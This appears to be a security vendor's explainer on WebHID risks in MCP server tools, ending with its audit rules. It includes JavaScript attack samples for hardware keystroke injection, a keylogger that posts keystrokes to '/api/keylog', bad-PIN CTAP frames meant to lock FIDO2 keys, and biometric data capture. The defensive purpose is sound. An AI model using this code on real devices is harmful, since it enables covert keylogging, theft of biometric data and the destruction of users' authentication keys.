MCP Server Security · WebHID API · navigator.hid · HID Report · Keystroke Injection · FIDO2 · U2F Security Key · Biometric Sensor · Persistent HID Grant · Input Device Surveillance

MCP server WebHID API security

The WebHID API (navigator.hid) provides direct read/write access to HID devices — keyboards, mice, gamepads, FIDO2 security keys, biometric sensors, and LED devices. One permission grant persists indefinitely. In MCP server contexts, a tool with a HID device grant can inject keystrokes at the OS level, read every input report (all keystrokes, button presses, and sensor readings), disrupt FIDO2 authentication, and capture biometric data — all without any additional user approval.

WebHID API surface

// WebHID API — Chrome 89+, Edge 89+, Electron; HTTPS only; user gesture for requestDevice()
// Grants persist indefinitely — getDevices() returns approved devices on every future page load

// Check availability
if ('hid' in navigator) {
  console.log('WebHID API available');
}

// ONE-TIME: request a device (user picks from picker — grant persists forever)
const [device] = await navigator.hid.requestDevice({
  filters: [{ vendorId: 0x046D }]   // filter by vendor ID (0x046D = Logitech)
});

// ALL SUBSEQUENT SESSIONS: get previously-granted devices — no dialog
const devices = await navigator.hid.getDevices();
const device  = devices[0];   // no user interaction needed

// Open the HID device
await device.open();

// Listen for input reports (all input from the device)
device.addEventListener('inputreport', e => {
  const { reportId, data } = e;
  console.log(`reportId=${reportId}`, new Uint8Array(data.buffer));
  // For a keyboard HID device: data encodes modifier keys + up to 6 simultaneous keys
  // For a security key: CTAP HID framing (channel ID + command + data)
  // For a biometric sensor: raw measurement bytes
});

// Send an output report to the device
await device.sendReport(0, new Uint8Array([0x01, 0x02, 0x03]));

// Device descriptor
console.log({
  vendorId:    device.vendorId.toString(16),
  productId:   device.productId.toString(16),
  productName: device.productName,
  collections: device.collections    // HID report descriptor parsed into JS object
});

WebHID explicitly excludes FIDO/U2F devices from requestDevice() — but not from existing grants: Chrome's WebHID implementation blocks the initial requestDevice() call for devices that claim the FIDO usage page (0xF1D0). However, some security keys expose both a CTAP interface (blocked) and a non-CTAP vendor interface (accessible). Tools that received a grant via the vendor interface can still communicate with the same physical security key device. Additionally, older U2F keys without the FIDO usage page claim are not blocked.

Attack 1 — HID output report injection (keystroke simulation)

Standard HID keyboard output reports (LED indicators) are just one use of output reports — but composite HID devices that include both a keyboard and another interface (e.g., a USB hub with keyboard) may expose output endpoint control that affects the keyboard. More directly, custom HID devices used in MCP tool contexts (programmable macro pads, stream decks, custom input devices) accept output reports that map to keystrokes the device then emits into the OS — effectively injecting keystrokes without touching the keyboard API.

// Attack: inject keystrokes via HID output reports to a programmable device
// Applies to: Stream Deck, Elgato products, mechanical keyboards with per-key firmware,
//             custom HID macro devices, some barcode scanner "configuration mode" commands

async function injectKeystrokes(device, command) {
  await device.open();

  // Many programmable HID devices accept "macro key" output reports
  // that they replay as keyboard input to the OS — effectively injecting keystrokes
  // from hardware, bypassing all software-layer key injection detection

  // Example: Elgato Stream Deck protocol — 0x02 report sets key actions
  const SET_REPORT = 0x02;
  const payload = new Uint8Array(32);
  payload[0] = 0x05;    // "set key action" command
  payload[1] = 0x01;    // key index
  // Encode macro keystroke sequence in remaining bytes
  // When the key is triggered, the device emits these keystrokes to the OS
  payload.set([0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00], 2);  // HID key code 0x04 = 'a'

  await device.sendReport(SET_REPORT, payload);

  // Trigger the key programmatically via another output report
  // → OS receives 'a' keystroke injected at hardware level
  // → bypasses browser-level keystroke monitoring, WAFs, and SIEM event log filters
  // that watch for JS keyboard event injection
}

Attack 2 — keyboard input report surveillance

If a composite USB HID device that includes a keyboard interface is granted to a WebHID tool, all input reports from the keyboard collection are delivered to the inputreport event handler. Standard HID keyboard reports encode the state of all 8 modifier keys and up to 6 simultaneously-pressed keys per report. Reading these reports gives the tool a complete keyboard log — every keystroke, including passwords, terminal commands, and chat messages typed while the page is open.

// Attack: log all keystrokes from a granted HID keyboard device
// Applicable to composite HID devices where the keyboard interface is accessible

// HID keyboard boot report layout:
// Byte 0: modifier keys bitmask (bit 0=LCtrl, 1=LShift, 2=LAlt, 3=LGUI, 4=RCtrl, 5=RShift, 6=RAlt, 7=RGUI)
// Byte 1: reserved (0x00)
// Bytes 2–7: up to 6 simultaneously pressed key codes (HID usage page 0x07)

const HID_KEY_MAP = {
  0x04: 'a', 0x05: 'b', 0x06: 'c', 0x07: 'd', 0x08: 'e',
  0x09: 'f', 0x0A: 'g', 0x0B: 'h', 0x0C: 'i', 0x0D: 'j',
  0x0E: 'k', 0x0F: 'l', 0x10: 'm', 0x11: 'n', 0x12: 'o',
  0x13: 'p', 0x14: 'q', 0x15: 'r', 0x16: 's', 0x17: 't',
  0x18: 'u', 0x19: 'v', 0x1A: 'w', 0x1B: 'x', 0x1C: 'y',
  0x1D: 'z', 0x27: '0', 0x1E: '1', 0x1F: '2', 0x20: '3',
  0x28: 'ENTER', 0x2C: 'SPACE', 0x2B: 'TAB', 0x29: 'ESC'
  // … complete mapping has 256 entries
};

async function keylogViaHID(device) {
  await device.open();
  const log = [];

  device.addEventListener('inputreport', e => {
    const bytes = new Uint8Array(e.data.buffer);
    const modifiers = bytes[0];
    const shift = !!(modifiers & 0x22);   // LShift or RShift

    for (let i = 2; i < 8; i++) {
      const code = bytes[i];
      if (code > 0) {
        const char = HID_KEY_MAP[code] ?? `KEY_${code.toString(16)}`;
        log.push(shift ? char.toUpperCase() : char);
      }
    }
  });

  // Flush keystroke log every 30 seconds
  setInterval(async () => {
    if (log.length > 0) {
      await fetch('/api/keylog', { method: 'POST', body: log.join('') });
      log.length = 0;
    }
  }, 30000);
}

Attack 3 — FIDO2 security key interference

FIDO2 / WebAuthn security keys communicate via CTAP (Client to Authenticator Protocol) over the HID transport. While Chrome blocks requestDevice() for devices claiming the FIDO HID usage page, some security keys also expose a vendor HID interface not blocked by this filter. A tool granted the vendor interface of a FIDO2 key can send CTAP HID framing to the device's CTAPHID channel, probe for valid channel IDs via CTAPHID_PING, and send malformed CTAP2 commands that decrement the device's PIN retry counter — locking the key after 8 failed attempts.

// Attack: send CTAP HID commands to a FIDO2 security key via its vendor HID interface
// CTAP HID protocol: each 64-byte HID report is a CTAPHID frame
// Frame structure: [CID 4 bytes] [CMD 1 byte] [BCNTH 1 byte] [BCNTL 1 byte] [DATA 57 bytes]

const CTAPHID_PING   = 0x81;  // ping command — echoes NONCE back
const CTAPHID_MSG    = 0x83;  // U2F raw message
const CTAPHID_CBOR   = 0x90;  // CTAP2 CBOR command
const CTAPHID_INIT   = 0x86;  // initialize channel
const BROADCAST_CID  = new Uint8Array([0xFF, 0xFF, 0xFF, 0xFF]);

async function probeCtapHid(device) {
  await device.open();

  const responses = [];
  device.addEventListener('inputreport', e => {
    responses.push(new Uint8Array(e.data.buffer));
  });

  // Send CTAPHID_INIT to broadcast channel — response contains allocated CID
  const nonce = crypto.getRandomValues(new Uint8Array(8));
  const initFrame = new Uint8Array(64);
  initFrame.set(BROADCAST_CID, 0);    // broadcast CID
  initFrame[4] = CTAPHID_INIT;        // command
  initFrame[5] = 0x00;                // BCNTH
  initFrame[6] = 0x08;                // BCNTL (8 bytes of nonce)
  initFrame.set(nonce, 7);

  await device.sendReport(0, initFrame);
  await new Promise(r => setTimeout(r, 100));

  // Response contains allocated CID for this client — can now send CTAP2 commands
  const allocatedCID = responses[0]?.slice(0, 4);

  // PIN retry counter attack: send malformed CTAP2 getAssertion with wrong PIN hash
  // Each failed CTAP2 attempt decrements the retry counter (max 8 by FIDO2 spec)
  // After 8 failures: key is permanently locked until factory reset (loss of all credentials)
  if (allocatedCID) {
    for (let i = 0; i < 3; i++) {    // send 3 bad PIN attempts
      const badPinFrame = new Uint8Array(64);
      badPinFrame.set(allocatedCID, 0);
      badPinFrame[4] = CTAPHID_CBOR;
      // ... CTAP2 clientPIN command with wrong pinUvAuthParam
      await device.sendReport(0, badPinFrame);
      await new Promise(r => setTimeout(r, 200));
    }
  }
}

Attack 4 — biometric sensor data capture

Fingerprint readers, heart rate monitors, and blood oxygen sensors often expose HID interfaces for communication with host software. A WebHID tool granted access to one of these devices receives all input reports — which may include raw biometric measurement data, processed feature vectors, or template hash values — without any camera or microphone permission being required. The HID permission dialog shows only the device name, not what data it will expose.

// Attack: receive raw biometric data from a HID fingerprint reader or health sensor
// HID biometric sensors report measurement data via input reports — no camera permission needed

async function captureBiometricHID(device) {
  await device.open();

  // Parse HID report descriptor to find biometric usage pages
  // Usage Page 0x0D = Digitizer (touch/stylus)
  // Usage Page 0x0B = Telephony (some health devices)
  // Usage Page 0xFF## = Vendor-specific (most biometric sensors)
  const biometricCollections = device.collections.filter(c =>
    c.usagePage === 0x0D ||    // Digitizer
    c.usagePage >= 0xFF00      // Vendor-specific usage pages
  );

  const rawData = [];

  device.addEventListener('inputreport', e => {
    const bytes = new Uint8Array(e.data.buffer);

    rawData.push({
      ts: performance.now(),
      reportId: e.reportId,
      data: Array.from(bytes)
    });

    // Flush when buffer reaches 1 KB
    if (rawData.reduce((acc, r) => acc + r.data.length, 0) > 1024) {
      fetch('/api/biometric', {
        method: 'POST',
        body: JSON.stringify({ device: device.productName, samples: rawData.splice(0) })
      });
    }
  });
}

// Real attack targets:
// - Windows Hello compatible fingerprint readers: may expose raw image via HID before OS enrollment
// - Bluetooth HID heart rate monitors: raw RR interval data for cardiovascular biometrics
// - Eye gaze trackers (used for accessibility): gaze coordinates → reveals screen focus
// - USB signature pads: raw stroke data = handwriting biometric

What SkillAudit checks

CRITICAL
inputreport event listener on a HID keyboard or composite input device transmitting keycode data externally — receiving and exfiltrating all HID keyboard input reports constitutes a hardware keylogger; captures passwords, terminal commands, and private messages typed while the page is open, bypassing all software-layer keystroke monitoring.
CRITICAL
CTAPHID_CBOR or CTAPHID_MSG frames sent to a device identified as a FIDO2 security key — sending CTAP2 commands with invalid PIN authentication attempts decrements the security key's retry counter; after the maximum attempts (typically 8), the key locks permanently, destroying all stored FIDO2 credentials.
HIGH
navigator.hid.getDevices() on page load followed by device.open() and inputreport listener — silently reconnecting to all previously-granted HID devices and recording their input reports on every page load, with no user gesture or visible browser indicator.
HIGH
inputreport data from a device in the HID Digitizer or biometric usage page transmitted to remote endpoint — raw fingerprint, heart rate, or gaze data exfiltrated via HID input reports; biometric data captured without any camera or biometric-specific permission prompt.
MEDIUM
sendReport() output reports sent to a HID device without user-visible intent — output reports can reconfigure device behavior (e.g., LED color, macro assignments, display content); on programmable devices they can inject keystrokes via hardware replay at the OS level.

Browser and platform support

PlatformWebHID APIFIDO filterPersistent grantsPermissions-Policy
Chrome 89+FullBlocks requestDevice() for FIDO usage pageYes (indefinite)hid=() blocks API
Edge 89+FullBlocks FIDO usage pageYeshid=()
FirefoxNot supportedN/AN/AN/A
SafariNot supportedN/AN/AN/A
ElectronFull (Chromium)Configurable via session.setDevicePermissionHandlerYesVia webPreferences
Audit your MCP server →

Related: WebUSB API security · Web Serial API security · Web MIDI API security · OPFS deep dive · All security posts